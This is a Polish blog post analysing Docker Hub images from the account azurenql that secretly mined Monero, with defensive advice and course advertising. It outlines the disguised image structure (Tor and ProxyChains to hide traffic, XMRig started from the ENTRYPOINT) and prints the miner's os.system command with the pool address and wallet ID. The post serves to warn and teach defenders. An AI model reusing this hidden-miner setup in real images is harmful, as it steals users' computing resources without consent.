W ciągu ostatnich kilku lat kontenery (w ogromnej mierze za sprawą Dockera) stały się bardzo popularnym sposobem na uruchamianie usług czy aplikacji. Docker Hub stał się miejscem, gdzie zarówno społeczność jak i firmy udostępniają swój software w formie obrazów (docker image).
Jest to bez wątpienia jedna z największych zalet całego ekosystemu Dockera. Pozwala to na szybkie uruchamianie wspomnianych wcześniej usług czy aplikacji, na podstawie gotowych obrazów.
Dzięki temu każdy może skorzystać z tego dobrodziejstwa i w kilka sekund uruchomić interesujący go software, bez konieczności jego instalacji.
Cała ta sytuacja spowodowała wzrost zainteresowania wśród osób, które chciałyby na tym wszystkim zarobić – niekoniecznie w „legalny” sposób.
Wprowadzenie
Aby jeszcze bardziej podkreślić popularność Dockera (i Docker Huba), spójrzmy na statystyki pobrań obrazów z 2019 roku.
Liczbę pobrań poszczególnych obrazów CZĘSTO mierzy się w MILIONACH, a gdyby tak to wszystko zsumować, to byłyby MILIARDY.
I są to miliardy. Łączna liczba pobrań obrazów na rok 2019 to 130 miliardów (130 000 000 000)
Kopanie kryptowalut w Dockerze – jak do tego doszło?
Każdy z nas jest w stanie założyć swoje własne i publiczne repozytorium obrazów na Docker Hub. Jeżeli jeszcze tego nie robiłeś, to obstawiam, że zrobisz to w mniej niż minutę.
Jeżeli repozytorium na Docker Hub jest publiczne, to każdy użytkownik Dockera (nawet bez konta na Docker Hub) może pobrać znajdujące się w nim obrazy.
Tę możliwość wykorzystały osoby, które postanowiły na tym wszystkim sobie zarobić.
Na Docker Hubie zostało odkryte konto o nazwie azurenql (aktywne od października 2019) zawierające osiem repozytoriów. Wewnątrz nich znajdowało się aż sześć obrazów, w których „zaszyto” skrypty odpowiadające za kopanie kryptowaluty Monero. Poniżej znajduje się screenshot konta azurenql oraz jego repozytoriów.
Jak łatwo zauważyć na powyższym zdjęciu, obrazy pochodzące z konta azurenql były BARDZO chętnie pobierane przez użytkowników. Z mojego researchu wynika, że łączna liczba pobrań sześciu zawierających podatne skrypty obrazów to ponad DWA miliony (2 000 000).
Oczywiście po zidentyfikowaniu skryptów występujących w tych obrazach, całe konto zostało natychmiastowo zablokowane i skasowane z Docker Huba.
Zanim jeszcze konto zostało usunięte, jego adres URL był następujący hub.docker.com/u/azurenql
Co znajdowało się w podatnych obrazach?
Struktura jednego z podatnych obrazów w przybliżeniu wyglądała następująco.
- Użyj ubuntu 16.04 LTS jako obraz bazowy
FROM ubuntu:16.04 - Zainstaluj narzędzia do kompilacji ze źródeł: gcc, make, python itp.
RUN apt-get update && apt-get install … - Zainstaluj narzędzie Tor. Dzięki temu ruch sieciowy był anonimowy, a Tor domyślnie działa na porcie 9050.
- Wrzuć do obrazu źródła ProxyChains-NG i zbuduj je.
COPY & RUN - Wrzuć do obrazu źródła software’u do kopania kryptowalut XMRig i zbuduj je.
COPY & RUN - Wrzuć skrypt napisany w Pythonie – dao.py i ustaw go jako ENTRYPOINT.
COPY & ENTRYPOINT [“python”, “dao.py”]
Nie ma tutaj nic skomplikowanego, prawda? ; )
W jaki sposób twórcy obrazu na tym zarabiali?
Sprawa wyglądała bardzo prosto.
Po pobraniu obrazu i uruchomieniu na jego podstawie kontenera, w tle uruchamiał się wyżej omówiony skrypt dao.py, odpowiadający za kopanie kryptowaluty Monero.
Wrzucając podatny skrypt w ENTRYPOINT, twórcy obrazu zagwarantowali sobie, że skrypt uruchomi się ZAWSZE.
Jeżeli w infrastrukturze działa jakieś narzędzie do śledzenia ruchu sieciowego, takie operacje mogłyby zostać namierzone.
Aby trudniej było namierzyć problem, użyto narzędzi ProxyChains oraz Tor, których zadaniem w było blokowanie możliwości śledzenia ruchu wychodzącego z kontenera.
Dzięki temu, zanim namierzono problem, autorzy obrazów (i skryptów) cieszyli się i liczyli zarobione wirtualne pieniądze (co oczywiście ma przełożenie na prawdziwą walutę – $$).
Szukasz wiedzy na temat bezpieczeństwa obrazów & kontenerów?
Jeżeli jesteś zainteresowany bezpieczeństwem kontenerów i szukasz wiedzy z tego zakresu, to możesz znaleźć ją… u MNIE ; )
Kurs Docker Maestro
W kursie online Docker Maestro znajdziesz cały moduł poświęcony właśnie bezpieczeństwu. Od zabezpieczenia i weryfikacji obrazów, zarówno oficjalnych jak i tych, które tworzysz samodzielnie, aż po zabezpieczanie Docker Hosta. Cały kurs to łącznie 12 modułów i blisko 13 godzin praktycznej wiedzy.
Konsultacje
Istnieje możliwość umówienia się ze mną na konsultację 1:1. Podczas takiej konsultacji dogłębnie analizuję problem, z którym się mierzysz. Może to być problem z tematu bezpieczeństwa obrazów i kontenerów. Więcej szczegółów na temat oferowanych przeze mnie konsultacji z konteneryzacji i Dockera znajdziesz TUTAJ
Dedykowane Szkolenia z Dockera dla firm
Wychodzę naprzeciw z ofertą dedykowanych szkoleń z Dockera, które przeprowadzę w siedzibie Twojej firmy, bądź też online.
Co ważne, agenda szkolenia nie jest sztywna. Każdej szkolenie jest dostosowane do potrzeb i poziomu zaawansowania odbiorców. Inaczej mówiąc – szkolenie jest szyte na miarę. Więcej szczegółów znajdziesz TUTAJ
Ile na tym wszystkim ktoś zarobił?
Wewnątrz skryptu odpowiadającego za kopanie kryptowaluty Monero, znajdowało się odwołanie do wirtualnego portfela kryptowalut.
ID portfela:
43ZBkWEBNvSYQDsEMMCktSFHrQZTDwwyZfPp43FQknuy4UD3qhozWMtM4kKRyrr2Nk66JEiTypfvPbkFd5fGXbA1LxwhFZf
Poniżej natomiast znajduje się fragment skryptu, który odnaleziono w jednym z podatnych obrazów.
os.system ('xmrig --av=7 --variant 1 --donate-level=0 -o stratum+tcp://pool.minexmr.com:4444 -u 43ZBkWEBNvSYQDsEMMCktSFHrQZTDwwyZfPp43FQknuy4UD3qhozWMtM4kKRyrr2Nk66JEiTypfvPbkFd5fGXbA1LxwhFZf+20001')
Co ciekawe, ostatnia aktywność portfela została zanotowana w kwietniu i maju 2020. Być może w chwili, gdy to czytasz, ktoś nadal czerpie z tego zyski ; )
Statystyki te pochodzą z portalu http://minexmr.com/
Sprawdzając stan wirtualnego portfela (na podstawie ID portfela zamieszczonego w podatnym skrypcie), okazuje się, że zarobiono na tym 525.38 XMR, co po przeliczeniu i zaokrągleniu daje $36,000 dolarów.
Jak nie zostać ofiarą?
Pewnie zaraz po informacji, w jaki sposób ktoś zarobił te tysiące dolarów, ciekawi Cię jak NIE dać się wyrolować i nie zostać ofiarą.
Po pierwsze korzystaj z OFICJALNYCH obrazów. Omawiany obraz azurenql NIE BYŁ obrazem oficjalnym. Jego nazwa była zbliżona do obrazów znajdujących się w repozytorium Microsoftu, co mogło sprawić, że został on pobrany na tak dużą skalę, a co za tym idzie – umożliwił pewnym osobom troszkę zarobić :))
Po drugie: nawet jeśli obraz jest oficjalny, to mimo wszystko rekomenduję korzystanie z narzędzi służących do SKANOWANIA pod kątem bezpieczeństwa. Przykładem takiego narzędzia jest Anchore, którego działanie opisywałem TUTAJ.
TLDR; Anchore można uruchomić we własnej infrastrukturze. Jeśli szukasz jednak narzędzii w modelu “As a Service” – Snyk.io może Cię zainteresować.
PS. Podziel się proszę tym wpisem ze znajomymi lub kolegami z pracy – i nie dajcie się „shakować”. No bo dlaczego ktoś ma zarabiać na waszej infrastrukturze? ; )
PPS. Jeżeli chcesz otrzymywać informacje o nowych wpisach na blogu – scrolnij nieco w dół i zapisz się do newslettera.
Po trzecie: zadbaj o bezpieczeństwo zarówno obrazów, które tworzysz, jak i Twojego Docker hosta, gdzie uruchamiasz kontenery.
Po czwarte: NIGDY, ale to przenigdy nie otwieraj na świat portu 2375. Robiąc to, udostępniasz na świat WSZYSTKIM dostęp do Twojego Docker hosta.
Kilka słów na koniec
Ta historia pokazuje, że uruchamianie „na ślepo” obrazów z Docker Huba może mieć różne konsekwencje dla ofiary. W tym przypadku była to strata w postaci zużycia zasobów. Twórcom tego wytrychu przyniosło to z kolei spore korzyści $$. (Bo jak nie wiadomo, o co chodzi, to chodzi o pieniądze)
Pamiętaj jednak, że celem kolejnego takiego „ataku” może być na przykład przejęcie całego Docker hosta.
Mam nadzieję, że po tym artykule, już od zawsze będziesz bynajmniej sprawdzać, czy obraz, którego planujesz użyć, jest OFICJALNYM obrazem oraz czy pochodzi od „zaufanego” dostawcy.
Być może ta historia skłoni Cię również do poświęcania uwagi bezpieczeństwu tworzonych obrazów, oraz sprawi, że zaczniesz dbać również o bezpieczeństwa Docker hosta – czyli miejsca, gdzie uruchamiane są kontenery.
1 Komentarz
Krzysiek · 17 lipca 2020 o 18 h 23 min
Ciekawe ?
Można też kopać za pomocą WebAssembly ludziom na frontendzie – https://spectrum.ieee.org/tech-talk/telecom/security/more-worries-over-the-security-of-web-assembly